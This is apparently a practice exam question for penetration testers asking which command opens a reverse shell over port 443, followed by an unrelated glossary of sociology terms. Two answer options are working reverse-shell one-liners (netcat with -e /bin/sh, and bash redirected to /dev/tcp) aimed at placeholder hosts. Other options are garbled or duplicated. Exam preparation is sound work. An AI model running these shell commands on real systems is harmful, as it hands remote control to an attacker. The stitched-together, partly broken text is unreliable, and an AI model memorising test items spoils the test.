A Penetration Tester Compromises a System That Has Unrestricted Network

question 161

Multiple Choice

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?

• A) perl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
• B) ssh superadmin@<DESTINATIONIP> -p 443
• C) nc -e /bin/sh <SOURCEIP> 443 nc -e /bin/sh <SOURCEIP> 443
• D) bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

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Definitions:

Powerlessness

The sense of having little or no control over events.

Social Class

Persons who share a common status in society. One’s class standing may be based on occupational prestige and income.

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A measure of how content an individual is with their job, including aspects such as the nature of work, environment, and remuneration.

Proportion Of Men

Refers to the ratio or percentage of males in a given population or group.